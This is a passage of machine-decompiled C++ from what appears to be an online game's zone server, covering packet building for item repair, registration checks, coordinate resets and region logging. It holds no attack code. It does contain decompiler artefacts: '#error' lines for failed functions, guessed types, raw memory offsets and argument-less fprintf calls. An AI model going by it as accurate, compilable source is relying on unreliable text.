--funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v7); } // 6A7AA1: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (00527030) -------------------------------------------------------- #error "527030: undefined or illegal type '#593' (funcsize=56)" //----- (00527100) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_NC_MISC_WHSHANDLEREPAIR_CMD(void *this, int repair) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_NC_MISC_WHSHANDLEREPAIR_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_NC_MISC_WHSHANDLEREPAIR_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *((_WORD *)v2 + 69808) = *(_WORD *)(repair + 8); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_NC_MISC_WHSHANDLEREPAIR_CMD"); } //----- (00527170) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MISC_SERVERPARAMETER_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // eax@1 int v6; // eax@3 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MISC_SERVERPARAMETER_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_MISC_SERVERPARAMETER_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 2096; v5[2] = LOBYTE(shineparam.scp_param.shoutlevel); *(_WORD *)(v5 + 3) = LOWORD(shineparam.scp_param.shoutdelay); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 5) ) { v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v6 + 12))(v6, v4, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_ServerMenuOpen : Packet Too Long", 5); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MISC_SERVERPARAMETER_REQ"); } //----- (00527260) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShinePlayer::sp_LinkReservStore(int this, const void *lnkinf) { unsigned __int16 v2; // cx@1 v2 = *(_WORD *)(this + 4); queue_linkreserv.mq_Pointer.value = queue_linkreserv.mq_Pointer.mask & (queue_linkreserv.mq_Pointer.value + 1); queue_linkreserv.mq_Buffer[queue_linkreserv.mq_Pointer.value].handle = v2; memcpy( &queue_linkreserv.mq_Buffer[queue_linkreserv.mq_Pointer.value].content, lnkinf, sizeof(queue_linkreserv.mq_Buffer[queue_linkreserv.mq_Pointer.value].content)); return LOWORD(queue_linkreserv.mq_Pointer.value); } //----- (005272B0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_LinkReservFind(int this, unsigned __int16 pointer) { char *v2; // eax@2 int result; // eax@4 if ( pointer < 0x80u && (v2 = (char *)&queue_linkreserv + 104 * pointer) != 0 && *(_WORD *)v2 == *(_WORD *)(this + 4) ) result = (int)(v2 + 2); else result = 0; return result; } //----- (005272E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_RegistNumberVarification(void *this) { void *v1; // edi@1 char *v2; // esi@1 int v3; // eax@1 ZoneBaseSession *v4; // eax@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_RegistNumberVarification"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_RegistNumberVarification"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4275; *((_WORD *)v2 + 1) = *((_WORD *)v1 + 2); v3 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1384))(v1); *((_DWORD *)v2 + 1) = *(_DWORD *)v3; *((_DWORD *)v2 + 2) = *(_DWORD *)(v3 + 4); *((_DWORD *)v2 + 3) = *(_DWORD *)(v3 + 8); *((_DWORD *)v2 + 4) = *(_DWORD *)(v3 + 12); *((_DWORD *)v2 + 5) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 836))(v1); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 24) ) { v4 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v4); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_RegistNumberVarification : Packet Too Long", 24); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_RegistNumberVarification"); } //----- (005273F0) -------------------------------------------------------- #error "5273F0: undefined or illegal type '#593' (funcsize=51)" //----- (005274C0) -------------------------------------------------------- char __stdcall ShineObjectClass::ShineObject::so_ply_RegistNumberVarifyCheck(int varif_ack) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_RegistNumberVarifyCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_RegistNumberVarifyCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_RegistNumberVarifyCheck"); return 0; } //----- (00527510) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_RegistNumberVarifyCheck(void *this, int varif_ack) { void *v2; // esi@1 char *v3; // edi@4 DebugLogging *v4; // ebp@4 _iobuf *v5; // eax@6 DebugLogging *v6; // ebp@8 _iobuf *v7; // eax@10 DebugLogging *v8; // eax@12 DebugLogging *v9; // eax@12 DebugLogging *v10; // eax@12 char result; // al@12 unsigned int v12; // eax@14 char *v13; // eax@14 char *v14; // ST14_4@14 int v15; // ST0C_4@14 int v16; // ST04_4@14 DebugLogging *v17; // eax@14 DebugLogging *v18; // eax@14 DebugLogging *v19; // eax@14 DebugLogging *v20; // eax@14 DebugLogging *v21; // eax@14 DebugLogging *v22; // eax@14 DebugLogging *v23; // eax@14 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_RegistNumberVarifyCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_RegistNumberVarifyCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S97_2 & 1) ) { _S97_2 |= 1u; DebugLogging::DebugLogging(&InvalidRegistLog, "InvalidRegistLog"); atexit(_E98_2); } if ( *(_DWORD *)((char *)v2 + 32171) == *(_DWORD *)(varif_ack + 2) ) { if ( *(_BYTE *)(varif_ack + 6) ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_RegistNumberVarifyCheck"); result = 1; } else { v12 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v12; v13 = (char *)&namestring + 256 * v12; *(_DWORD *)v13 = *(_DWORD *)((char *)v2 + 32175); *((_DWORD *)v13 + 1) = *(_DWORD *)((char *)v2 + 32179); *((_DWORD *)v13 + 2) = *(_DWORD *)((char *)v2 + 32183); v14 = v13; *((_DWORD *)v13 + 3) = *(_DWORD *)((char *)v2 + 32187); v13[16] = 0; v15 = *(_DWORD *)(varif_ack + 2); v16 = *(_DWORD *)((char *)v2 + 32171); v17 = DebugLogging::operator<<(&InvalidRegistLog, "Incorrect bit "); v18 = DebugLogging::operator<<(v17, v16); v19 = DebugLogging::operator<<(v18, (char *)&stru_63C688); v20 = DebugLogging::operator<<(v19, v15); v21 = DebugLogging::operator<<(v20, " / "); v22 = DebugLogging::operator<<(v21, v14); v23 = DebugLogging::operator<<(v22, (char *)&stru_63C688); DebugLogging::operator<<(v23, &deb_LF); **((_BYTE **)v2 + 892) = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_RegistNumberVarifyCheck"); result = 0; } } else { namestring.ns_point.value = namestring.ns_point.mask & (namestring.ns_point.value + 1); v3 = (char *)&namestring + 256 * namestring.ns_point.value; *(_DWORD *)v3 = *(_DWORD *)((char *)v2 + 32175); *((_DWORD *)v3 + 1) = *(_DWORD *)((char *)v2 + 32179); *((_DWORD *)v3 + 2) = *(_DWORD *)((char *)v2 + 32183); *((_DWORD *)v3 + 3) = *(_DWORD *)((char *)v2 + 32187); v3[16] = 0; v4 = DebugLogging::operator<<(&InvalidRegistLog, "Regist number invalid "); if ( DebugLogging::dl_ActivAll ) { if ( v4->dl_Activ ) { DebugLogging::dl_FilePoint(v4); v5 = v4->dl_FilePointer; if ( v5 ) fprintf(v5, "%d"); } } v6 = DebugLogging::operator<<(v4, (char *)&stru_63C688); if ( DebugLogging::dl_ActivAll && v6->dl_Activ ) { DebugLogging::dl_FilePoint(v6); v7 = v6->dl_FilePointer; if ( v7 ) fprintf(v7, "%d"); } v8 = DebugLogging::operator<<(v6, " / "); v9 = DebugLogging::operator<<(v8, v3); v10 = DebugLogging::operator<<(v9, (char *)&stru_63C688); DebugLogging::operator<<(v10, &deb_LF); **((_BYTE **)v2 + 892) = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_RegistNumberVarifyCheck"); result = 0; } return result; } // 6A7AA1: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (00527810) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_USER_USE_BEAUTY_SHOP_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_USER_USE_BEAUTY_SHOP_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_USER_USE_BEAUTY_SHOP_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_WORD *)gpp.pp_Buffer = 3122; (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v4 + 816))(v4, 1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_USER_USE_BEAUTY_SHOP_CMD"); } //----- (005278C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_RefreshWMSSocket(void *this) { void *v1; // esi@1 char *v2; // edi@2 ZoneBaseSession *v3; // eax@4 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_RefreshWMSSocket"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_RefreshWMSSocket"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 820))(v1) == 1 ) { v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 3121; *((_WORD *)v2 + 1) = -1; *((_DWORD *)v2 + 1) = -1; *(_DWORD *)(v2 + 10) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 836))(v1); *((_WORD *)v2 + 4) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 832))(v1); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 14) ) { v3 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v3); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_RefreshWMSSocket : Packet Too Long", 14); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_RefreshWMSSocket"); } //----- (005279D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MAP_TONORMALCOORD_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MAP_TONORMALCOORD_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_MAP_TONORMALCOORD_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v4 + 2608))(v4, 1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MAP_TONORMALCOORD_CMD"); } //----- (00527A70) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ToNormalLoc(void *this, int flag) { void *v2; // edi@1 int v3; // ebp@1 unsigned int v4; // eax@3 char *v5; // eax@3 FieldOption::FieldAttr *v6; // ebx@3 int v7; // eax@5 int v8; // ecx@5 int v9; // edx@5 unsigned int v10; // eax@5 char *v11; // eax@5 int v12; // ST10_4@5 int v13; // ST08_4@5 DebugLogging *v14; // eax@5 DebugLogging *v15; // eax@5 DebugLogging *v16; // eax@5 DebugLogging *v17; // eax@5 DebugLogging *v18; // eax@5 DebugLogging *v19; // eax@5 DebugLogging *v20; // eax@5 int v21; // eax@5 int v22; // ecx@5 char *v23; // esi@5 __int16 v24; // dx@5 int v25; // eax@6 int v26; // ecx@6 unsigned int v27; // eax@8 char *v28; // eax@8 unsigned int v29; // eax@8 MapInfo *v30; // eax@11 char *v31; // eax@13 int v32; // eax@13 MapInfo *v33; // eax@14 ZoneBaseSession *v34; // eax@19 char *v35; // eax@20 int v36; // ecx@20 ZoneBaseSession *v37; // eax@22 char *v38; // [sp-4h] [bp-90h]@2 FunctionEntarance _; // [sp+10h] [bp-7Ch]@1 int v40; // [sp+6Ah] [bp-22h]@5 int v41; // [sp+6Eh] [bp-1Eh]@5 unsigned int v42; // [sp+7Ch] [bp-10h]@1 int v43; // [sp+88h] [bp-4h]@1 v2 = this; v42 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_ply_ToNormalLoc"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ToNormalLoc"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ToNormalLoc"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)((char *)v2 + 98); v43 = 0; if ( v3 ) { v4 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v4; v5 = (char *)&namestring + 256 * v4; *(_DWORD *)v5 = *(_DWORD *)v3; *((_DWORD *)v5 + 1) = *(_DWORD *)(v3 + 4); *((_DWORD *)v5 + 2) = *(_DWORD *)(v3 + 8); v5[12] = 0; v6 = FieldOption::fo_GetFieldAttr(&fieldlist.fc_FieldOption, v5); if ( v6 ) { v7 = *(_DWORD *)((char *)v2 + 78); v8 = *(_DWORD *)(v7 + 4); v9 = *(_DWORD *)v7; v10 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v10; v11 = (char *)&namestring + 256 * v10; *(_DWORD *)v11 = *(_DWORD *)v3; *((_DWORD *)v11 + 1) = *(_DWORD *)(v3 + 4); *((_DWORD *)v11 + 2) = *(_DWORD *)(v3 + 8); v12 = v8; v13 = v9; v11[12] = 0; v14 = DebugLogging::operator<<(&CoordRepairLog, v11); v15 = DebugLogging::operator<<(v14, (char *)&stru_63C688); v16 = DebugLogging::operator<<(v15, v13); v17 = DebugLogging::operator<<(v16, (char *)&stru_63C688); v18 = DebugLogging::operator<<(v17, v12); v19 = DebugLogging::operator<<(v18, (char *)&stru_63C688); v20 = DebugLogging::operator<<(v19, flag); DebugLogging::operator<<(v20, &deb_LF); v21 = v6->regenloc[0].regenx; v22 = v6->regenloc[0].regeny; v23 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 16387; v24 = *((_WORD *)v2 + 2); v40 = v21; v41 = v22; *((_WORD *)v23 + 1) = v24; *((_DWORD *)v23 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *((_DWORD *)v23 + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); if ( v6->KingdomQuestMap ) { *((_DWORD *)v23 + 3) = *(_DWORD *)&v6->regencity.n3_name[0]; *((_DWORD *)v23 + 4) = *(_DWORD *)&v6->regencity.n3_name[4]; *((_DWORD *)v23 + 5) = *(_DWORD *)&v6->regencity.n3_name[8]; *((_DWORD *)v23 + 6) = v6->regenloc[0].regenx; *((_DWORD *)v23 + 7) = v6->regenloc[0].regeny; } else { *((_DWORD *)v23 + 3) = *(_DWORD *)v3; v25 = v40; *((_DWORD *)v23 + 4) = *(_DWORD *)(v3 + 4); v26 = v41; *((_DWORD *)v23 + 5) = *(_DWORD *)(v3 + 8); *((_DWORD *)v23 + 6) = v25; *((_DWORD *)v23 + 7) = v26; } v27 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v27; v28 = (char *)&namestring + 256 * v27; *(_DWORD *)v28 = *(_DWORD *)v3; *((_DWORD *)v28 + 1) = *(_DWORD *)(v3 + 4); *((_DWORD *)v28 + 2) = *(_DWORD *)(v3 + 8); v28[12] = 0; v29 = BTree::operator__(&mapdatabox.mdb_btree, v28); if ( v29 == -1 ) LOWORD(v29) = -1; v29 = (unsigned __int16)v29; if ( (unsigned __int16)v29 < mapdatabox.mdb_maxmapid ) { v30 = mapdatabox.mdb_index[v29]; if ( v30 ) { if ( v30->MapType == 7 ) { v31 = NameString::operator__(&namestring, (Name3 *)((char *)v2 + 143833)); v32 = MapDataBox::mdb_2mapid(&mapdatabox, v31); if ( (unsigned __int16)v32 < mapdatabox.mdb_maxmapid && (v33 = mapdatabox.mdb_index[v32]) != 0 ) { *((_DWORD *)v23 + 3) = *(_DWORD *)((char *)v2 + 143833); *((_DWORD *)v23 + 4) = *(_DWORD *)((char *)v2 + 143837); *((_DWORD *)v23 + 5) = *(_DWORD *)((char *)v2 + 143841); *((_DWORD *)v23 + 6) = v33->RegenX; *((_DWORD *)v23 + 7) = v33->RegenY; } else { Name3::operator_((Name3 *)v23 + 1, "RouN"); *((_DWORD *)v23 + 6) = 4134; *((_DWORD *)v23 + 7) = 6488; } } } } *((_DWORD *)v23 + 8) = -1; *((_DWORD *)v23 + 11) = 0; *((_DWORD *)v23 + 10) = 0; *((_DWORD *)v23 + 9) = 0; strncpy(v23 + 36, byte_635E1E, 0xCu); *((_DWORD *)v23 + 12) = 0; *((_DWORD *)v23 + 13) = 0; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 56) ) { v34 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v34); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_ToNormalLoc : Packet Too Long", 56); } v35 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 1514; *(_DWORD *)(v35 + 2) = *((_DWORD *)v23 + 2); *(_DWORD *)(v35 + 6) = *((_DWORD *)v23 + 3); *(_DWORD *)(v35 + 10) = *((_DWORD *)v23 + 4); *(_DWORD *)(v35 + 14) = *((_DWORD *)v23 + 5); *(_DWORD *)(v35 + 18) = *((_DWORD *)v23 + 6); *(_DWORD *)(v35 + 22) = *((_DWORD *)v23 + 7); *(_DWORD *)(v35 + 26) = -1; v36 = *(_DWORD *)((char *)v2 + 78); *(_DWORD *)(v35 + 30) = *(_DWORD *)v36; *(_DWORD *)(v35 + 34) = *(_DWORD *)(v36 + 4); *((_WORD *)v35 + 19) = 9999; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 40) ) { v37 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gamelog); ProtocolPacket::pp_SendPacket(&gpp, v37); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_ToNormalLoc : Packet Too Long", 40); } **((_BYTE **)v2 + 892) = 0; (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v2 + 816))(v2, 1); (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 824))(v2); (*(void (__thiscall **)(void *, signed int, _DWORD, _DWORD))(*(_DWORD *)v2 + 1520))(v2, 1669, 0, 0); v43 = -1; } else { v43 = -1; } v38 = "ShineObjectClass::ShinePlayer::so_ply_ToNormalLoc"; } else { v43 = -1; v38 = "ShineObjectClass::ShinePlayer::so_ply_ToNormalLoc"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v38); __security_check_cookie((unsigned int)&_ ^ v42); } //----- (00527E80) -------------------------------------------------------- void __thiscall ProtocolLogger::pl_Store(ProtocolLogger *this, NETCOMMAND *netcmd, SHINE_XY_TYPE *coord) { ProtocolLogger *v3; // esi@1 int v4; // ecx@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ProtocolLogger::pl_Store"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ProtocolLogger::pl_Store"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3->pl_NetCommand[v3->pl_Pointer].cmd.protocol = netcmd->protocol; v3->pl_NetCommand[v3->pl_Pointer].tick = clockwatch.cw_CurrTick; v4 = v3->pl_Pointer; v3->pl_NetCommand[v4].locate.x = coord->x; v3->pl_NetCommand[v4].locate.y = coord->y; v3->pl_Pointer = (v3->pl_Pointer + 1) & 0xF; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ProtocolLogger::pl_Store"); } //----- (00527F30) -------------------------------------------------------- void __thiscall ProtocolLogger::pl_Clear(ProtocolLogger *this) { ProtocolLogger *v1; // esi@1 int v2; // eax@1 signed int v3; // ecx@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ProtocolLogger::pl_Clear"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ProtocolLogger::pl_Clear"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (int)&v1->pl_NetCommand[0].cmd; v3 = 16; do { *(_WORD *)v2 = 0; v2 += 16; --v3; } while ( v3 ); v1->pl_Pointer = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ProtocolLogger::pl_Clear"); } //----- (00527FA0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_LastProtocol(void *this, NETCOMMAND *netcmd) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_LastProtocol"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_LastProtocol"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ProtocolLogger::pl_Store((ProtocolLogger *)((char *)v2 + 143316), netcmd, *(SHINE_XY_TYPE **)((char *)v2 + 78)); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_LastProtocol"); } //----- (00528050) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_ElderineRegionCheck(void *this) { void *v1; // esi@1 int v2; // ebp@1 int v3; // eax@1 int v4; // eax@3 unsigned int v5; // edi@3 int v6; // ebp@3 unsigned int v7; // ebx@3 int v8; // eax@7 unsigned int v9; // eax@9 int v10; // eax@12 int v11; // edi@12 int v12; // ST18_4@12 int v13; // ST10_4@12 int v14; // ST08_4@12 DebugLogging *v15; // eax@12 DebugLogging *v16; // eax@12 DebugLogging *v17; // eax@12 DebugLogging *v18; // eax@12 DebugLogging *v19; // eax@12 DebugLogging *v20; // eax@12 DebugLogging *v21; // eax@12 FunctionEntarance _; // [sp+Ch] [bp-14h]@1 unsigned int v23; // [sp+10h] [bp-10h]@1 int v24; // [sp+1Ch] [bp-4h]@1 v1 = this; v23 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_ElderineRegionCheck"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ElderineRegionCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_ElderineRegionCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v2 = funcallanalizer.fca_stackpoint++ + 1; v3 = *(_DWORD *)((char *)v1 + 98); v24 = 0; if ( v3 ) { v4 = *(_DWORD *)(v3 + 12); v5 = *(_DWORD *)v4; v6 = *(_DWORD *)(v4 + 8); v7 = *(_DWORD *)(v4 + 4); if ( !(_S107_0 & 1) ) { _S107_0 |= 1u; *(_QWORD *)&elderine.n3_name[4] = 0i64; *(_DWORD *)&elderine.n3_name[0] = 0; strncpy(elderine.n3_name, "Eld", 0xCu); atexit(_E108_1); } if ( __PAIR__(v7, v5) == *(_QWORD *)&elderine && v6 == *(_DWORD *)&elderine.n3_name[8] ) { v8 = *(_DWORD *)((char *)v1 + 78); if ( *(_DWORD *)v8 >= 0x1770u ) { if ( *(_DWORD *)v8 <= 0x4E20u ) { v9 = *(_DWORD *)(v8 + 4); if ( v9 >= 0x1770 ) { if ( v9 <= 0x4E20 ) { v24 = -1; FunctionEntarance::_FunctionEntarance(&_); goto LABEL_14; } } } } v10 = *(_DWORD *)((char *)v1 + 78); v11 = clockwatch.cw_CurrTick; v12 = *(_DWORD *)(v10 + 4); v13 = *(_DWORD *)v10; v14 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 836))(v1); v15 = DebugLogging::operator<<(&EldLocateLog, v11); v16 = DebugLogging::operator<<(v15, ":"); v17 = DebugLogging::operator<<(v16, v14); v18 = DebugLogging::operator<<(v17, " "); v19 = DebugLogging::operator<<(v18, v13); v20 = DebugLogging::operator<<(v19, (char *)&stru_63C688); v21 = DebugLogging::operator<<(v20, v12); DebugLogging::operator<<(v21, &deb_LF); ProtocolLogger::pl_Logging((ProtocolLogger *)((char *)v1 + 143316)); DebugLogging::operator<<(&EldLocateLog, &deb_LF); } --funcallanalizer.fca_stackpoint; v24 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ElderineRegionCheck"); goto LABEL_14; } funcallanalizer.fca_stackpoint = v2 - 1; v24 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ElderineRegionCheck"); LABEL_14: __security_check_cookie((unsigned int)&_ ^ v23); } //----- (00528260) -------------------------------------------------------- void __thiscall ListCheckStruct::lcs_Init(ListCheckStruct *this, ListCheckStruct *lcs) { ListCheckStruct *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ListCheckStruct::lcs_Init"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ListCheckStruct::lcs_Init"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2->lcs_ListCheck[0] = lcs->lcs_ListCheck[0] - 1; v2->lcs_ListCheck[1] = lcs->lcs_ListCheck[1] - 1; v2->lcs_ListCheck[2] = lcs->lcs_ListCheck[2] - 1; v2->lcs_ListCheck[3] = lcs->lcs_ListCheck[3] - 1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ListCheckStruct::lcs_Init"); } //----- (005282D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SendDisposition2WM(void *this) { void *v1; // esi@1 char *v2; // edi@1 int v3; // edx@1 ZoneBaseSession *v4; // eax@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SendDisposition2WM"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_SendDisposition2WM"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 16416; *((_WORD *)v2 + 1) = (*(int 